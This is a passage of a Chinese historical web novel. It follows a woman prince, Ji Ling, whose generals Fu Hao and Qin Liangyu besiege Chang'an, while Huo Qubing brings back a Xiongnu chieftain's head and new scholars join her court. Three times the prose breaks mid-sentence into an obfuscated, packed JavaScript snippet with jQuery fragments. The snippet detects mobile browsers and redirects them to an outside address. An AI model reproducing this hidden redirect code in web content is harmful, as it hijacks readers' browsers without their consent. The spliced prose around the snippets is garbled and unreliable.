他轻晃了晃扇子,神态自若:“雍王的确是个不容轻视的敌人,但她离我们还有些距离,她的女儿身又是她登上顶峰的最大阻碍,王爷不如先警惕东北方的辽西王和西北处的鲜卑人。新帝依旧实行暴政,帝位不稳不足为惧;郁林王地处偏远自身难保亦可略去;广汉王和江阳王相距甚近水火不容,西边又有羌胡的威胁,暂不考虑;至于涪陵王,他最有可能和广汉王、江阳王争地盘,再不济还有雍王挡着,王爷不必忧虑。”
其他人不再开口,这卧龙先生是近几日才来到王爷身边的,一下子就获得了王爷的信任和敬重成为了王爷的心腹,他们不敢说就不是。
中山王轻“嗯”了声,然后道:“先生言之有理,本王虽觉得那姬绥英是巨大的威胁,但目前辽西王和西北的鲜卑人才更该让本王担忧。”
“王爷聪慧。”诸葛亮淡淡地夸了句。
中山王一只手搭在诸葛亮肩膀上,露出浅浅的笑意:“本王幸得先生啊。”
诸葛亮垂眸,淡笑:“王爷谬赞了。”
涪陵郡。
涪陵王一手摸着自己圆滚滚的肚子一手把玩着珠串,眉头皱着,看起来很不满意。
“今天这菜味道不够啊,换厨子了?不行啊,这可不行,味道变了,我很不满意。”他不悦道。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16590148|183229||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
一旁站着一排人,各个点头哈腰的,为首的连连致歉。
涪陵王抬了下手,一排人退了出去。
接着,涪陵王赔着笑对身边的男人说道:“底下人不懂事,竟然做了这些东西出来,回头我罚他们。”
男人不在意地笑了笑:“王爷不必如此,粗茶淡饭某都吃得惯,不在意这些,况且这饭菜已是极好的了,甚是美味。”
“凤雏先生不介意就好,我就怕怠慢了先生。”涪陵王笑眯眯的,圆圆的脸圆圆的身体看起来都十分和蔼。
“王爷待我极好,哪里有怠慢?王爷说笑了。”男人正是庞统。
“唉,先生大能,我自是要招待好先生!我平日里喜好研究吃食,对这吃食十分挑剔,自是不想让那粗鄙的吃食污了先生尊贵的嘴。”涪陵王像一尊弥勒佛,脸上总是笑哈哈的。
庞统一脸淡定:“王爷太客气了,某的嘴比不上王爷的,对吃食只要饱腹即可,不过既是王爷要求的,某听王爷的就是。”
涪陵王笑了几声,连连点头说了“好”,然后大手一挥,喊了句“来人”,不一会儿进来一人。
“把这些菜撤了,赶紧把最好的菜上上来,谁都不许怠慢了先生!”涪陵王吩咐道。
“喏。”进来的人应道。
江阳郡。
军营,军帐。
“报!”小兵喊着跑进军帐中。
江阳王身形修长,肤色黝黑,脸上带着沧桑,此刻听到小兵的声音一下子抬起头来,期盼的眼神落了过去。
“如何?巴郡拿下了吗?”他有些着急地问道。
小兵露出一个微笑,江阳王便懂了,手拍了下桌面,大喊了一声“好”。
“恭喜王爷拿下巴郡!”
“恭喜王爷……”
将领们恭贺的话语一句接一句,大家都很高兴。
江阳王的脸色也看起来好多了,整个人都没那么紧张了。
他接着又问:“我那贪吃的弟弟没有打巴郡吗?”
小兵摇了摇头,回答:“巴郡附近没有任何涪陵王的队伍的踪迹,想是涪陵王并没有想打巴郡。”
江阳王皱了皱眉:“不应该啊……他怎么会放过离他这么近的巴郡?”
“王爷,想必是涪陵王有别的打算吧?”一人开口道。
“王爷,不论如何,现下巴郡已经到手,我们应该尽快掌握整个巴郡,好让巴郡彻底成为我们的地盘,莫要考虑其他了。”又一人说道。
“也罢,听你们的,先掌控住巴郡再说。”江阳王说道,然后又看向小兵,“此次伤亡如何?”
小兵垂眸,语气有些低落:“回王爷的话,两万兵马死者超两千,伤着超五千,我们此次……伤亡惨重。”
江阳王张了张嘴,一时间哑了声,军帐内也沉默了下来。
“安顿,安顿好他们的家属吧,嗯,就这样吧。”江阳王沉默了会儿,才开口缓缓说道,“你退下吧。”
“……喏。”小兵。
广汉郡。
广汉王亦是身形修长,但皮肤白皙,脸色瞧着也不错,一张和江阳王近乎一样的脸上还总是带着若有若无的笑意。
广汉王把玩着手上的扳指翘着腿坐在椅子上,身边有一行人神色严肃地打开着屋内的所有箱子一一检查过去。
“如何?”广汉王问了句。
“王爷,这批货没问题。”一人走至广汉王身边,弯腰回答道。
“嗯,都收起来吧。”广汉王语气随意,说完便起身转身走向屋外。
屋外院子内站着一批人,其中一些长着异族人的模样。
“广汉王还满意这次的货物吗?”为首的一个异族人用还不太利落的官话问道。
“不错,继续保持。”广汉王语气淡淡的,甚至没怎么用睁眼看那异族人。
异族人也不在意,只是行了一个他们那里的礼:“还是老规矩,我们的合作非常愉快。”
广汉王点了下头,看了下身边的手下,手下点头带着异族人离开了。
这时,一人跑到广汉王身边,说道:“王爷,雍王拿下了安定郡,中山王拿下了雁门郡,江阳王拿下了巴郡。”
广汉王把玩扳指的手一顿:“雍王?那个姬绥英倒是有几分本事,小瞧她了。”
“汶山郡拿下了吗?”广汉王又问。
“汶山郡已拿下,成为王爷手下第三块势力,恭喜王爷。”手下说道。
“不错,先不管他们了,争取早日拿下梓潼郡和巴西郡,我要的是整个益州。”广汉王说着目光扫向远方,仿佛在观察自己的天下。
48.攻打长安(一)
临近三月,天气渐暖。
粟邑县军营。
全军整装待发,就待姬昤一声令下就可以出发了。
妇好和秦良玉二人身穿军装骑着马英姿飒爽,二人手中都拿着武器。
姬昤最后叮嘱了几句,然后和大家让开了位置,妇好和秦良玉二人轻喊了声“驾”,马动了起来。
大军出发了。
望着大军离去的背影,之前说自己打不过梁敬元的那位将领不禁开口道:“我有些担心。”
姬昤回头看向他:“担心什么?”
他摸了摸脑袋,不好意思地笑道:“怕两位将军赢得太快一下子就回来了,长安若立刻被占下我们也缺人管啊,怕主公一时间没有人去管理长安城。”
众人都笑了,他们还当他会说什么灭自己威风的话,结果是担心妇好和秦良玉二人赢得太快了。
姬昤也笑了:“你不是说梁敬元很厉害么?”
他还是很不好意思:“那是属下打不过梁敬元,可好将军和秦将军不一样,我也打不过她们,她们二人联手定能解决掉梁敬元拿下长安的。”
姬昤自信地笑了:“没错,但还不够。”
接着,姬昤带着众人进了军帐中,还加上了几个百夫长、千夫长。
军帐中。
姬昤看向众人,扬声道:“各位,长安乃重地,对我们非常重要,日后,本王要定都长安。”她的目光扫过众人,明显看见许多人脸上露出惊讶的表情。
“主,主公,定都长安?不是应该是建康吗?”有人好奇地问。
“是啊,前几个皇朝都是定都建康的,为何主公您要定都长安?”又有人问。
“主公的决断定是深思熟虑之后的,我们应当信任主公,不要过多询问缘由。”卫子夫站在姬昤身边,语气温柔又坚定,眼里是对姬昤满满信任的星光。
“唉,子夫你别这样说。”姬昤开口道,然后看向众人,“有疑问便问出来,能告诉你们的我自当告诉你们,你们的如今都是我的人,没什么不可以知道的。”
卫子夫又道:“是属下僭越了,望主公恕罪。”
“无碍,你是无条件信任我才会如此,我怎会怪罪你?”姬昤说着对卫子夫笑了一下,笑容温柔。
卫子夫也笑了笑,似乎有些腼腆。
“诸位,长安之重要性不用我与你们多说了,虽说此地现在地位大不如前,但也是因为战乱天灾才会如此,但之后不一样。所以,此次攻打长安只能成功,不可失败。”姬昤缓缓说道,“为了好将军和秦将军能都顺利拿下长安,也为了我们的将士们能活下来更多,此次我会再派两个百人队伍跟上大军脚步,不过万不可声张,你们要作为突袭队伍存在以防有其他意外出现。”
大家也懂了姬昤的意思,这是还需要两个人出来带领此次的突袭队伍。
可是谁去呢?
大家面面相觑。
“罗则。”姬昤喊了一个名字。
人群末尾中的罗则一愣,一脸错愕,他没想到他的名字会出现在姬昤的嘴里。
“我将一队交与你,你可能胜任?”姬昤望向他。
罗则有些激动:“主,主公,能!属下多谢主公信任!”
众人都有些惊讶这么重要的任务主公会交给一个小小的百夫长,但他们也不会多说什么,罗则此人他们知道,消息十分灵通——有个远在建康皇宫新帝身边的红人弟弟,他帮了主公许多忙,并且自身实力确实也不俗。
接着,姬昤扫了眼众人,说出了第二个名字:“杨妙真。”
杨妙真面色一喜,终于有她的用武之地了!
“你带另一支队伍。”姬昤说道。
杨妙真站了出来,抱拳,脸上带着浓浓的笑意:“属下遵命!”
“你们二人分别带一支五百人队伍,一个时辰后出发。”姬昤说道。
“喏!”杨妙真、罗则二人齐声应道。
一个时辰后,队伍出发了,此次没有人送行,没有人嘱咐,只是悄然地离去。
在两支队伍离去后不过一刻钟,一个丰神俊朗的男子骑着高头大马、手里拎着一个血色包裹就进了军营中,身后还跟着好几百号人。
正是深入匈奴内部消失多日的霍去病和八百士兵。
“霍将军?霍将军回来了!霍将军回来了!”有眼尖的瞧见了他们当即大喊道。
刚进入军帐中没多久的姬昤众人又走了出来。
霍去病拉了下缰绳,马停了下来,霍去病翻身下马,将武器交给一旁的小兵,自己拎着包裹走向姬昤,单膝跪下:“臣霍去病不负主公期望将此人头带回!”说着便将血色包裹往前放在了地上,打开了,露出里面的人头。
“这是……”姬昤掩了下鼻子,问道。
常胜第一个变了脸色:“这是匈奴大单于!”
众人变了脸色,谁能想到霍去病这么去一趟直接把匈奴大单于的脑袋给带回来了!
霍去病脸上洋溢着自信的笑容,在阳光下是那么明媚耀眼。
姬昤上前一步绕过了人头扶起了霍去病,眼里还带着崇拜,没办法,在现代的时候史书上和网上各种资料里都已经了解过霍去病此人了,简直就是偶像!如今偶像成为她麾下大将立下这么多功劳,她感觉像是在做梦一样。
“去病,我有你,如鱼得水。”姬昤抬头用星星眼看着人高马大的霍去病,脸上是止不住的笑意。
霍去病腼腆一笑:“主公谬赞了,都是臣该做的。”
“待来日我登上那高位,定封你为冠军侯!”姬昤隐隐有些激动地说道。
霍去病张了张嘴有些惊讶,冠军侯?封侯?不过这个称呼听起来似乎有些熟悉。
其他人听到姬昤的话都十分羡慕,霍将军可是第一个得到主公亲口封侯承诺的人!而且叫冠军侯,这名号,说出去是响当当的!
卫子夫走上前打趣道:“主公,去病年岁还小,有些孩子心性,您莫要太过夸耀他了,不如您瞧瞧他那尾巴有没有翘到天上去。”
霍去病闻言下意识看了眼自己屁股的地方,这才回过神来姑母是在打趣他,一下子从人挡杀人、佛挡杀佛的大将军变成了幼稚的孩子:“主公~您看看我姑母,惯会这样打趣我!主公帮我做主啊!”
姬昤装作一脸严肃的样子仔细看了看霍去病身后的地方,然后认真地说道:“我也觉得你尾巴翘得有点高了,去病啊,平日里没事就压一压吧,不然哪天翘太高把你带飞起来跑了我该如何是好啊?”
霍去病看向卫青——自己的舅父,只见卫青笑容温和地说道:“主公说的是。”
霍去病一脸委屈地看着姬昤,姬昤是半点儿都受不了了,论史书偶像像被雨打湿的小狗可怜兮兮地看着自己是什么感觉?
心都要化了的感觉。
“好了好了,不打趣你了,逗你玩呢,当不得真。你们一行人日夜兼程也累了,赶紧去休息,晚上给你们庆功!”姬昤说道。
“主公,此次臣带领的八百士兵各个都是好样的,随臣一起搅乱了匈奴王庭,如今他们正在抢夺大单于之位打得不可开交,一时间无法再来骚扰我们了。”霍去病还说了些跟他一起行动的士兵们的好话。
姬昤会意,接着看着那八百人立马扬声道:“你们所有人,每人赏银一两!”
八百人都很惊喜,没想到他们只是打仗而已,竟然还能得一两的赏银!要知道他们都是边关穷苦人家出身,按照现在外面比较昂贵的粮价来算一两银子都够他们一个人用上一两个月了!但若是按照粟邑的粮价来算,他们都能用两三个月了!
其他人一脸羡慕地看着他们,赏银
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16599058|183229||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一两!要是他们也有多好啊!看来也得早日立功才是,这样他们也能有赏银!
姬昤自然也知道其余士兵的心思,于是转身面向他们:“你们放心,在我这里,赏罚分明!有功,那便赏!有过,那便罚!他们立了功,所以我赏了他们,日后你们也可以!”
“喏!”一声声喏汇聚在一起十分响亮,大家的眼里都充满了希望,未来对他们来说是那么耀眼。
众将领随姬昤回到军帐内。
霍去病瞧了瞧,问:“主公,怎的不见好将军和秦将军、杨将军?”
“她们去打长安了。”姬昤回答。
“长安?她们何时出发的?感觉臣不在的这段时日发生了很多事,这么快就要打长安了。”霍去病有些感慨。
姬昤笑了笑:“就在你回来前不久她们出发了,刚好错过。长安此地非常重要,现下那边有个叫梁敬元的大将军似乎要自立为王,我就挑了今日让她们出发先下手为强了。”
“原来如此。不知她们所带兵力可够?可需臣支援?”霍去病又问。
“暂且不用,我调给她们一万五千人,又派了罗则和杨妙真二人各领五百人队伍跟在后面以防万一,再多我们这边防守兵力就真的不够了。”姬昤说道。
“主公说的是。”霍去病。
“主公,如今兵力不够,可要征兵?我粟邑好二郎们可都等着呢!”常胜问道。
本来粟邑县很多男子都因为姬昤的恩情——土豆和红薯让大家吃饱了饭想要参军入伍,还是姬昤拒绝了他们,说是什么无妻儿者不得参军、无兄弟姐妹者不得参军、不足十八岁者不得参军、超过五十岁者不得参军等等,大家这才熄了火。若现在宣布要征兵了,恐怕他们的兵力能多上许多!
“征兵一直存在,但要满足我的要求才行。”姬昤语气淡淡的,却是不容置疑。
常胜张了张嘴,最后应了声“喏”。
满足主公的那些要求?那符合的人也太少了吧!粟邑从前就因为总是抗击匈奴和鲜卑死了很多人,现在活下来的要么年岁太小,要么年岁太老,要么孤苦无依,要么家中只有他这一男丁,还能有多少人能参军?
唉!
“主公,为何不让女子参军?”卫子夫提议。
卫子夫这话一出其他人纷纷反对。
“怎能让女子参军?战场上刀剑无眼,有我们男人撑着就行了!死我们一个是一个,若家里妻儿姐妹也参了军,到时候都死了怎么办?”
“就是啊!况且女子力弱,若无训练,上了战场也是一个死字,不如好好待在家中为我们做好后勤!”
“哪怕要训练,那又要训练多久?我们等不了那么久了!”
“女子……女子怎能参军呢?古往今来不曾有过的事啊!”
“……荒谬,此事太过荒谬,女子哪里能参军?从未有过!”
……
姬昤扫了眼众人:“是么?你们打得过好将军和秦将军、杨将军、冼将军她们了?不如本王的位置也由你们男人来坐好了?如何?”
众人纷纷说道:“主公息怒!”
姬昤收回眼神,却并不恼。
他们这样想这样说很正常,古往今来都是如此,他们的思想也固化了,如今接受她这么一个女王爷、女主公已是不易,其他的得慢慢来,不能太着急了,否则不利于她日后的统治。起码这些人一开始还能接受在女子领导下做事,就说明他们的思想还是能够改变的。
“聂隐娘。”姬昤喊了声。
一直站在角落里靠在柱子边环着手的聂隐娘走上前,垂下头恭敬道:“臣在。”
“你挑一批女子出来训练,日后你便统领这支队伍,就叫……”姬昤顿了顿,“隐卫吧。”
聂隐娘眸光微动,眼里有些感动,她抱拳应道:“喏!”
49.愿效力主公
李观微带着睡眼惺忪的赵徽之站在姬府门前往里面望着,赵徽之揉了揉眼睛,嘟囔道:“表兄我好困,回去再睡会儿行不行?”
李观微瞪了眼赵徽之,扯了下他的胳膊,“啧”了一声:“吃吃吃,睡睡睡,你还能不能有点出息?”
赵徽之眨了眨眼思考了一番:“我还会做小水车。”
李观微:“……”他看起来像是在问问题吗?
“表兄,一大早到姬府来作甚?雍王怕是不在府中在军营呢吧,我们要不先回去好好睡一觉?待休息好了再找她。”赵徽之一脸困倦,说着还打了个哈欠、抓了抓自己有些凌乱的头发,毫无形象可言。
李观微眼神一亮:“是啊,军营!近日来她怕是在琢磨攻打长安事宜,怎会在姬家?徽之你算是提醒我了,你终于有点用了!”说着他一巴掌拍在赵徽之肩膀上,脸上带着喜色。
赵徽之不禁揉了揉自己的肩膀:“表兄你轻点儿,劲儿真大。”
“别废话了!”李观微一把拉过赵徽之的手。
“啊!”赵徽之差点没摔着。
军营。
“站住!军营重地不得靠近!”两柄长戟横在李观微和赵徽之身前。
赵徽之后怕地往后仰了下,李观微则拉过赵徽之让他躲在自己身后。
“告诉你们雍王殿下,李观微和赵徽之找她,嗯……有些事要说。”李观微不自在地摸了摸自己的鼻子。
那两人对视了眼,轻笑了声。
“真是好大的口气,我们雍王殿下岂是你想见就能见的?”
“你……”不等李观微生气,只听那小兵又说话了。
“等着吧,我去通报。”小兵一脸正色地跑开了。
不一会儿,李观微和赵徽之被人带进了军营。
“表兄,我好饿啊……”赵徽之扯了扯李观微的衣服,一只手捂着肚子,皱着一张脸可可怜怜的。
“啧!”李观微不耐烦地回头瞪了眼赵徽之,“赵徽之,你能不能闭嘴?待会儿你什么都别说,让我说,这事要是成了日后你有享不完的福!”
赵徽之抓了抓脑袋有些疑惑。
好吧,不让他说就不说了,可是……
可是真的好饿啊!
李观微和赵徽之二人被请进了姬昤的专属军帐中,桌上早已摆好了饭菜酒水,却不见一个人。
“好香啊……”赵徽之的不论是眼睛、鼻子还是嘴巴都要黏到饭菜上去了,口水都要流下来了。
李观微白了眼赵徽之:“出息……”
粟邑县某个村庄中。
一个年轻清秀的男子挽起宽大的袖子,双腿扎根在田地里,时不时抬起洁白如藕的双臂擦着额间的汗水。
年轻男人瞥了眼当空的太阳,露出了发自内心的笑容。
这里真好啊……
“哎哟,小张,累坏了吧?来,我给我儿子带的,多做了给你也带了份,吃点儿吧!”一个大婶拿着发黄的大馒头朝着男子晃着一边喊着,嗓门儿特别响亮。
男子接过馒头,眼里闪着泪花:“谢谢刘婶。”
“哎哟,客气啥呀?快吃吧!”刘婶毫不在乎地摆了摆手,说着就走开了,也不多说什么。
“小张,面糊糊,多做了碗,我们都吃过了,放着也浪费,你吃了吧!”一个大爷健步如飞地路过放下一碗糊糊,最后的话音都跟着远去的背影飘远了。
……
男子坐在田埂边,身边放着许多热腾腾的食物,田地里是尚在劳作的人们,春风带来泥土庄稼的清香。
男子咬下一口馒头嚼了嚼。
这里很好,或许他可以留在这。
吃好饭,男子起身拍了拍衣服,将袖子放下,稍整衣裳,朝军营的方向走去……
军营营帐中。
“做好决定了?如何?我这里不错吧?”姬昤把玩着手中的杯盏,轻轻晃荡着里面的酒水,轻嗅着酒水的芳香。
“好吃好吃,雍王殿下您这里伙食是真的不错。”赵徽之吃得满嘴流油,两只手一手一个烤鸡腿。
姬昤淡淡地瞥了眼月栀,月栀走上前为赵徽之斟了杯酒。
“赵郎君慢些吃,酒水饭菜管够,您莫急。”
“多谢多谢。”赵徽之吃得急,随便敷衍了两句。
李观微颇为嫌弃地瞥了眼身旁狼吞虎咽的赵徽之,他怎么就有个这么好吃的表弟?
“雍王殿下,某只是不知您要我们这些人做什么?”李观微正色问道。
“做什么?”姬昤重复了一遍,“呵,缺人啊,不明显吗?我这里很缺你们这样的人才。”
李观微努力压下拼命想往上扬的嘴角:“你们这里确实不错,有烟火气,我还,咳咳咳,挺,挺喜欢的。”
而且据他观察,这里与建康大不相同,他在这里也比在家中自在太多了。
“是么?这里确实很好,你喜欢也很正常。”姬昤淡淡说道。
“确实不错。”李观微说完又假咳了几声,却见姬昤没有丝毫反应,只是安静吃着饭菜。
两刻钟后。
李观微咬着牙瞪着姬昤,她怎么丝毫不提让他们留下的事?
姬昤反而对李观微粲然一笑,仍然不语。
这时,一个小兵进来,说道:“主公,张璀求见。”
姬昤回想了一下,哦,张璀,跟李观微、赵徽之他们一道被绑来的。
看来又是个想清楚的。
非常好。
“让他进来吧。”姬昤。
“喏。”小兵应声,退了出去。
接着,一个年轻男子走了进来,衣摆还沾了点泥土,举手投足之间满是书生气息。
正是从田野之间赶来的男子——张璀。
“草民张璀拜见雍王殿下。”他的声音温润有力,像是春风中生长出的青竹。
赵徽之沉浸在吃饭中无法自拔,李观微多看了几眼张璀。
这人他记得,太学里唯一一个布衣出身的学子,但同时也是先生们最引以为傲的学子。
聪慧得让人嫉妒。
“张郎君请坐,粗茶淡饭还望海涵。”姬昤说道。
张璀被月栀领着坐下,脸上带着淡淡的笑意:“殿下说笑了,饭菜极好。今日草民前来只为一事,或是殿下希望之事。”
“哦?我所希望的事?”姬昤瞥了眼李观微,又看向张璀,“张郎君请说。”
“臣……愿效力主公,望主公收留。”张璀双手覆在一起,言语姿态皆是恭敬。
李观微瞪大了双眼,不可思议地看着张璀。
他怎么能这么自然地就说出这句话的?不对,不是他先来的吗?怎么显得张璀才是那个先来的?
赵徽之没什么感觉,他记得张璀来到这儿的第一日就跟当地人似的,所以听他说要留下反而觉得正常。
姬昤也并无惊讶的意思,张璀近来的表现都由监视他的人告诉她了,说来这张璀确实不错,比李观微更聪明却比他更谦逊,又是个干实事的,总是下地与百姓们交流种田事宜,还教了百姓们一些知识,对于百姓们的经验他也是虚心接受从不自满。
她很喜欢这种人才。
内敛、温和、聪慧、谦逊、实
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16611065|183229||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
事求是、心怀百姓、目光长远……
“张郎君心愿本王定当满足,屋舍早已备好,就待郎君入住了。”姬昤笑眯眯地看着张璀。
“多谢主公。”张璀。
“现下就有一事待郎君去做,不知郎君意下如何?”姬昤询问。
“全凭主公安排。”张璀安静地坐着,看起来十分乖巧。
姬昤露出满意的笑容,很好,很识相。
“粟邑的孩子们很喜欢读书,可是谢先生一人有些忙不过来,我想让你辅助谢先生教导孩子们。”姬昤说道。
李观微面色微变,看向张璀的眼神里带着淡淡的笑意。
还以为雍王会怎样重用张璀,没想到就是让他去当一个教书先生。
李观微仔细盯着张璀,妄图从他脸上看出一丝不满的情绪,结果并没有,张璀神色淡然,竟欣然接受了!
“多谢主公,臣定当竭尽全力不负主公期望。”张璀。
李观微裂开了,啊?啊??他就多谢上了?不反抗?不说些什么?
姬昤自然没有错过李观微脸上的变幻莫测,她知道,李观微此人聪慧却实在傲气,若是不搓一搓他的傲气,日后怕是要损在这上面。
“李郎君还有什么要说的吗?天色不早了,我还有事,那就先走了。你们慢慢吃。”姬昤起身就要往外走去,月栀跟在她身后。
“恭送主公。”张璀站起,躬身。
“恭送殿下。”赵徽之也赶紧放下了猪肘子,用油光发亮的嘴巴说了话。
只有李观微没有开口,亦没有任何动作。
待姬昤走到帐门边上时……
“等等!”李观微终是忍不住开口了。
姬昤回头看向他:“李郎君还有何事?”
李观微咬了咬牙,面色有些难看:“此地甚好,望主公收留李某人和我这不成器的表弟。”
赵徽之指了指自己,谁?谁不成器?说的是他吗?
姬昤嘴角微勾:“可。”说罢掀开帘子就要出去。
“不知主公需要我二人做什么?”李观微赶紧开口,问道。
“跟他一样。”姬昤扬了下下巴。
她说的是张璀。
接着姬昤离开了帐篷。
张璀对着李观微拜了一下:“日后便是同僚了。”
李观微:“……”
他瞥了眼还在吃的赵徽之,气得打掉了赵徽之手里的猪肘子。
赵徽之看着那个落回盘子里的猪肘子,抬头一脸疑惑地看向李观微:“表兄你做什么?”
李观微更气了,哼了一声,坐下开吃。
反正都这样了,他还能做什么?吃呗!
不过多久,姬昤得知,决定留下来的加上刚才那三人一共六人,还有两人决定离开。
其中一个虽然挺喜欢这里的,但是实在接受不了女子当政,另一个受不了过苦日子只想回家。
所以姬昤放他们回去了。
比一开始扔出去那个待遇好,这两个有人一路送他们回去。
“主公,琅琊王氏来信。”卫子夫走到姬昤身边,低声说道。
姬昤接过她手中的信封,撕开,拿出里面的信仔细看了看,然后随手扔进了一旁的火堆中。
“那姐妹俩还在观望,说是若我真能成就一番事业,她们愿跟随我左右不离不弃。”姬昤笑了笑。
不愿拘束在后宅的女子,不愧是王家人,有志气。
“那臣先备好屋舍,静候二位娘子前来。”卫子夫温声道。
“好。”姬昤看了眼卫子夫,脸上笑意更浓。
50.攻打长安(二)
妇好、秦良玉二人骑着马带着大军赶路,一路打下郑县和霸城,逐渐兵临长安城下……
长安城内。
梁府。
“采莲南塘秋,莲花过人头……”
一群舞姬伴随着歌姬动听的歌声舞动着身躯,屋内觥筹交错、歌舞升平。
最上方,一个穿着武将服的男人一手撑在腿上,一手拿着酒杯慢慢喝着,眼神随着舞姬们的走动而变换着。
舞姬的长袖拂过将军的面庞,将军的脸随着拂去的袖子转着,鼻尖还残留着脂粉香气。
将军不禁伸手去抓,却只摸到了长袖的尾巴。
舞姬转着圈在将军的腿上坐下,两只胳膊抱着将军的脖子,整个身体软弱无骨地靠在将军身上。
将军搂着舞姬柔软的腰身,正要亲上去,这时,小兵跑了进来,单膝跪地喊道:“将军,郑县和霸城沦陷,雍王大军已达长安城外六里!”
啥时间,屋内安静如鸡,歌姬闭上了嘴,舞姬停下了脚,宾客们放下了酒杯亦或筷子,所有人的目光都聚集在前来禀报的小兵身上。
将军梁敬元推开了身上坐着的舞姬,目光如炬:“你说什么?!”
小兵又重复了一遍刚才的话语。
“砰!”的一声,梁敬元将手中的杯盏猛地砸向地上碎成了一片片,歌姬舞姬都赶紧退了出去,其他将领们也都噤声。
“好一个雍王,打主意打到我头上来了!”梁敬元语气愤怒,说着站了起身,“所有人,迎、敌!”
城墙之上。
梁敬元两眼一眯,远远看见了两个人高马大身着铠甲的女子骑着马带着大军而来,还举了面旗子,上面好像写着一个“姬”字。
“哼!一个女子称王也就罢了,守好自己那一亩三分地不好么?非要出来抢地方,还抢到老子头上了?!”梁敬元不屑地说道。
“将军说的是,那姬绥英不好好守女德,咱们不去找她的麻烦她反而找上来了?看等会儿咱们怎么把她那大军打个落花流水!”一个将军附和道。
“将军您瞧,那姬绥英竟派的是两个女子?莫不是在嘲笑我们?”又有人说道。
梁敬元仔细盯着那两抹身影:“看着不似一般女子,待会儿上了战场都给我当心点。”
“就两个女子带军有什么好怕的?将军您怕什么啊?”一人嘟囔道。
梁敬元瞪了眼那人,冷哼了一声:“既如此等会儿你去迎敌。”
那人张了张嘴,最后只得点头应下了:“喏,属下遵命。”
“好将军,那人便是梁敬元,瞧着的确不简单。”秦良玉就在妇好的边上,她远远看着城墙上站着的梁敬元,淡淡说道。
“秦将军,此次攻打长安不容失败,不论敌将何人,我们必须赢,莫让天下人小瞧了主公。”妇好神色淡定,看向梁敬元的眼神恍若看着一个死人。
“自然,我们二人可不能堕了主公的名声。主公称王不易,不能因为我们固住了前进的步伐。”秦良玉说道。
“将士们,接下来要如何?”妇好扬声问着身后的大军。
“杀!”
“杀!!”
“杀!!!”
……
一声又一声杀,一声比一声高,震耳欲聋,震得城墙内的梁家军都差点慌了神。
梁敬元回头瞥了眼身后众人的脸色,怒吼一声:“怕什么?!”
众人立马回过神来。
“区区万人兵马就怕了?我们何惧之有?”梁敬元又道。
“是啊,我们也不缺兵,还怕对面这么点儿人?”
“就是!干!”
“打!两个女人带兵怕什么?!”
……
看着士气逐渐高涨起来,梁敬元也露出满意的笑容,转回头看向妇好和秦良玉的眼神却是凝重。
这二人一看就是习武多年的,怕是不好对付。
一刻钟后。
“我等奉雍王之命前来讨伐逆贼!”妇好一手拿着长戟一手牵着缰绳,抬头说话时的神色在阳光的照射下是那么耀眼夺目。
梁敬元嗤笑一声:“逆贼?我看你们那所谓的雍王才是逆贼吧?你们一介妇人不好好在家相夫教子竟出来领兵打仗,怎的,你们雍王麾下不会都没男的吧?还是根本没有男人愿意投靠你们雍王啊?”说罢大笑起来,他身后的将士们也哈哈大笑。
秦良玉微微眯眼,握着武器的手紧了几分,面上却不显。
妇好面色没什么变化,依旧淡定如初。
“待会儿莫死在我的戟下,太丢人了,你说是不是,梁将军?”妇好勾了勾嘴角,眼里带着若有若无的嘲意。
梁敬元冷哼一声,拍了下手下的墙砖:“开城门,迎敌!”
城门缓缓打开,梁敬元一身戎装骑马而出,身后跟着他的将士们。
两批大军对上,主将之间的沉默写满了一个“战”字。
久久的凝视之间,梁敬元缓缓吐出了一个字:“打!”
厮杀声弥漫在战场上,双方都是万人的兵力,实力相差不大。
梁敬元和妇好打在了一起,他以为秦良玉是副将,因此让自己的副将去对付秦良玉。
长戟打在了一起发出响声,梁敬元当即变了脸色。
怎么会……
“梁将军怎么了?怕了么?”妇好见状勾了勾嘴角,手上更加用力,眼见着长戟更靠近梁敬元了。
梁敬元咬牙将长戟抵了回去,一边说道:“说笑了,本将军怎么会怕?不过还不曾知晓娘子姓名,就怕待会儿让娘子做了无名鬼。”
“记住了,杀你的人叫——妇、好。”妇好话音落下,一个用力将梁敬元击飞下马,紧接着她用力一蹬,整个人飞下马到了梁敬元跟前。
梁敬元在地上滚了几圈后立刻翻身站起,看向妇好的眼神也带了些惧怕。
他本以为这妇好只是从小习武有那底子在不好对付,不曾想此人武力似乎在他之上……
那姬绥英怎么就那么好命?先是一个霍去病,后又出了个小有名气的卫青,现在还有妇好,还有那秦良玉,他的副将已经不敌她在生死一线了。
但梁敬元不愿放弃,他好不容易走到今天,不能因为怕就停滞不前。
